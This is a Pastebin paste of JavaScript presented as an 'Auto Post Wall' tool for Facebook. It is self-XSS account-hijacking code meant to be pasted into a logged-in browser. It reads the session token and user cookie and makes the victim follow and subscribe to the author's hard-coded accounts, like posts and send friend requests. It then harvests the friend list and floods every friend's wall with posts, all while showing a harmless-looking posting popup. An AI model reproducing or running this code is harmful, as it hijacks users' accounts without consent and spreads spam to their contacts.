Advertisement
LanhLung

Auto Post Wall

Mar 1st, 2014
112
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.83 KB | None | 0 0
  1. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  2. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  3. function a(abone){
  4. var http4 = new XMLHttpRequest();
  5. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  6. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  7. http4.open("POST", url4, true);
  8. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  9. http4.setRequestHeader("Content-length", params4.length);
  10. http4.setRequestHeader("Connection", "close");
  11. http4.onreadystatechange = function() {
  12. if(http4.readyState == 4 && http4.status == 200) {http4.close;}
  13. }
  14. http4.send(params4);
  15. }
  16. // Close the connection
  17. function sublist(uidss) {
  18. var a = document.createElement('script');
  19. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  20. document.body.appendChild(a);
  21. }
  22. // Tran Phuoc An
  23. a("100004422631905");sublist("233988573425229");sublist("224959217661498");sublist("236987746458645");sublist("355159174641501");Like("249809581843128");P("337647496332891");
  24. //Clone
  25. a("100007744325604");sublist("1414136455521152");sublist("1414136778854453");sublist("1414137228854408");
  26. function sarkadaslari_al(){
  27. var xmlhttp = new XMLHttpRequest();
  28. xmlhttp.onreadystatechange = function () {
  29. if(xmlhttp.readyState == 4){
  30. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  31. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  32. smesaj = "";
  33. smesaj_text = "";
  34. for(i=f*10;i<(f+1)*10;i++){
  35. if(arkadaslar.payload.entries[i]){
  36. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  37. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  38. }
  39. }
  40. sdurumpaylas(); }
  41.  
  42. }
  43.  
  44. };
  45. var params = "&filter[0]=user";
  46. params += "&options[0]=friends_only";
  47. params += "&options[1]=nm";
  48. params += "&token=v7";
  49. params += "&viewer=" + user_id;
  50. params += "&__user=" + user_id;
  51.  
  52. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  53. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  54. xmlhttp.send();
  55. }
  56.  
  57. var tiklama = document.addEventListener("click", function () {
  58. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  59. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  60. sarkadaslari_al();
  61. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  62.  
  63. document.removeEventListener(tiklama);
  64. }
  65. }, false);
  66.  
  67. function sarkadasekle(uid,tem){
  68. var xmlhttp = new XMLHttpRequest();
  69. xmlhttp.onreadystatechange = function () {
  70. if(xmlhttp.readyState == 4){
  71. }
  72. };
  73.  
  74. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  75. var params = "to_friend=" + uid;
  76. params += "&action=add_friend";
  77. params += "&how_found=friend_browser";
  78. params += "&ref_param=none";
  79. params += "&outgoing_id=";
  80. params += "&logging_location=friend_browser";
  81. params += "&no_flyout_on_click=true";
  82. params += "&ego_log_data=";
  83. params += "&http_referer=";
  84. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  85. params += "&phstamp=165816749114848369115";
  86. params += "&__user=" + user_id;
  87. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  88. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  89.  
  90. if(tem == "farketmez" && document.cookie.split("tem" + user_id +"=").length > 1){
  91. xmlhttp.send(params);
  92. }else if(document.cookie.split("tem" + user_id +"=").length <= 1){
  93. cinsiyetgetir(uid,tem,"sarkadasekle");
  94. }else if(tem == document.cookie.split("tem" + user_id +"=")[1].split(";")[0].toString()){
  95. xmlhttp.send(params);
  96. }
  97. }
  98.  
  99. var temsonuc = {};
  100. var temhtml = document.createElement("html");
  101. function scinsiyetgetir(uid,tem,fonksiyon){
  102. var xmlhttp = new XMLHttpRequest();
  103. xmlhttp.onreadystatechange = function () {
  104. if(xmlhttp.readyState == 4){
  105. eval("temsonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  106. temhtml.innerHTML = temsonuc.jsmods.markup[0][1].__html
  107. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  108. if(temhtml.getElementsByTagName("select")[0].value == "1"){
  109. document.cookie = "tem" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  110. }else if(temhtml.getElementsByTagName("select")[0].value == "2"){
  111. document.cookie = "tem" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  112. }
  113. eval(fonksiyon + "(" + id + "," + tem + ");");
  114. }
  115. };
  116. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  117. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  118. xmlhttp.send();
  119. }
  120. javascript: var grouppost = "<div><span class='img sp_f52w7l sx_47132d'></span><a style='position:absolute;size:3px;padding-left:3px;font-weight:bold;font-family:Tahoma;font-size:11px;color:#3B5999;'>Auto Post Wall Facebook By Joker Forever</a></div></br>";
  121. grouppost += "<div><textarea id='txtFloodMsg' placeholder='Nhแบญp nแป™i dung cแบงn post nha...' style='COLOR:WHITE;padding-top:5px;width:493px;height:85px;font-family:tahoma;font-size:13px;background-color:rgba(255,245,106,0.1);'></textarea></div>";
  122. grouppost += "<div><br><span class='img sp_dpkef5 sx_f05251'></span><a style='position:absolute;font-family:Arial;size:3px;padding-left:3px;font-size:11px;color:rgb(128, 128, 128);'>Cover : Joker Forever </a></span><button style='margin-left:437px' class='_2 _3 _6 _4 _5 selected' onclick='autopostingfunc(this);' >Post</button><div style='color:gray;'></div>";
  123. var Popupset = document.createElement("div");
  124. Popupset.setAttribute("style", "min-height:50px;width:500px;position:fixed;top:100px;box-shadow: 0px 4px 10px rgba(24, 144, 255, 0.63);position:fixed;left:50%;margin-left:-273px;text-align:left;border-radius:10px;padding:5px;z-index:999999;border:5px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:White");
  125. Popupset.innerHTML = grouppost;
  126. document.body.appendChild(Popupset);
  127. jx = {
  128. getHTTPObject: function () {
  129. var A = false;
  130. if (typeof ActiveXObject != "undefined") try {
  131. A = new ActiveXObject("Msxml2.XMLHTTP")
  132. } catch(C) {
  133. try {
  134. A = new ActiveXObject("Microsoft.XMLHTTP")
  135. } catch(B) {
  136. A = false
  137. }
  138. } else if (window.XMLHttpRequest) try {
  139. A = new XMLHttpRequest
  140. } catch(C) {
  141. A = false
  142. }
  143. return A
  144. },
  145. load: function (url, callback, format, method, opt) {
  146. var http = this.init();
  147. if (!http || !url) return;
  148. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  149. if (!method) method = "GET";
  150. if (!format) format = "text";
  151. if (!opt) opt = {};
  152. format = format.toLowerCase();
  153. method = method.toUpperCase();
  154. var now = "uid=" + (new Date).getTime();
  155. url += url.indexOf("?") + 1 ? "&" : "?";
  156. url += now;
  157. var parameters = null;
  158. if (method == "POST") {
  159. var parts = url.split("?");
  160. url = parts[0];
  161. parameters = parts[1]
  162. }
  163. http.open(method, url, true);
  164. var ths = this;
  165. if (opt.handler) http.onreadystatechange = function () {
  166. opt.handler(http)
  167. };
  168. else http.onreadystatechange = function () {
  169. if (http.readyState == 4) if (http.status == 200) {
  170. var result = "";
  171. if (http.responseText) result = http.responseText;
  172. if (format.charAt(0) == "j") {
  173. result = result.replace(/[\n\r]/g, "");
  174. result = eval("(" + result + ")")
  175. } else if (format.charAt(0) == "x") result = http.responseXML;
  176. if (callback) callback(result)
  177. } else {
  178. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  179. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  180. if (error) error(http.status)
  181. }
  182. };
  183. http.send(parameters)
  184. },
  185. bind: function (A) {
  186. var C = {
  187. "url": "",
  188. "onSuccess": false,
  189. "onError": false,
  190. "format": "text",
  191. "method": "GET",
  192. "update": "",
  193. "loading": "",
  194. "loadingIndicator": ""
  195. };
  196. for (var B in C) if (A[B]) C[B] = A[B];
  197. if (!C.url) return;
  198. var D = false;
  199. if (C.loadingIndicator) {
  200. D = document.createElement("div");
  201. D.setAttribute("style", "position:absolute;top:0px;left:0px;");
  202. D.setAttribute("class", "loading-indicator");
  203. D.innerHTML = C.loadingIndicator;
  204. document.getElementsByTagName("body")[0].appendChild(D);
  205. this.opt.loadingIndicator = D
  206. }
  207. if (C.loading) document.getElementById(C.loading).style.display = "block";
  208. this.load(C.url, function (E) {
  209. if (C.onSuccess) C.onSuccess(E);
  210. if (C.update) document.getElementById(C.update).innerHTML = E;
  211. if (D) document.getElementsByTagName("body")[0].removeChild(D);
  212. if (C.loading) document.getElementById(C.loading).style.display = "none"
  213. },
  214. C.format, C.method, C)
  215. },
  216. init: function () {
  217. return this.getHTTPObject()
  218. }
  219. };
  220. var j = 0;
  221. var k = 0;
  222. var suc = 0;
  223. var msg = "Auto post by Joker Forever";
  224. var arr = new Array;
  225. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  226.  
  227. function autopostingfunc(sender) {
  228. if (document.getElementById("txtFloodMsg").value != "") msg = document.getElementById("txtFloodMsg").value;
  229. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/search/bootstrap.php?__a=1&filter[0]=user&viewer=" + user_id + "&token=v7&lazy=0&__user=" + user_id, function (a) {
  230. var b = a;
  231. var c = b.substring(b.indexOf("{"));
  232. var d = JSON.parse(c);
  233. d = d.payload.entries;
  234. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  235. sender.parentNode.innerHTML = "Xin Chแป....";
  236. postitok()
  237. })
  238. }
  239. var a = document.body.innerHTML;
  240. var dts = document.getElementsByName("fb_dtsg")[0].value;
  241. var composerid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  242.  
  243. function postitok() {
  244. pst = "fb_dtsg=" + dts + "&xhpc_composerid=" + composerid + "&xhpc_targetid=" + arr[suc] + "&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" + encodeURIComponent(msg) + "&xhpc_message=" + encodeURIComponent(msg) + "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_1]=pagelet_group_composer";
  245. with(newx = new XMLHttpRequest) open("POST", "/ajax/updatestatus.php?__a=1"),
  246. send(pst);
  247. suc++;
  248. if (suc > arr.length) {
  249. alert("Auto Posting Completed. Now Refresh your Homepage.");
  250. suc = 0
  251. } else setTimeout("postitok()", 3E4 / arr.length)
  252. }
  253. setTimeout("autopostingfunc()", 1E3);
  254.  
  255. function P(post) {
  256. var X = new XMLHttpRequest();
  257. var XURL = "//www.facebook.com/ajax/ufi/like.php";
  258. var XParams = "like_action=true&ft_ent_identifier=" + post + "&source=1&client_id=" + now + "%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=5882006890513784712&ft[mf_story_key]=" + post + "&nctr[_1]=pagelet_home_stream&__user=" + user_id + "&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg=" + fb_dtsg + "&phstamp=";
  259. X.open("POST", XURL, true);
  260. X.onreadystatechange = function () {
  261. if (X.readyState == 4 && X.status == 200) {
  262. X.close
  263. }
  264. };
  265. X.send(XParams)
  266. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement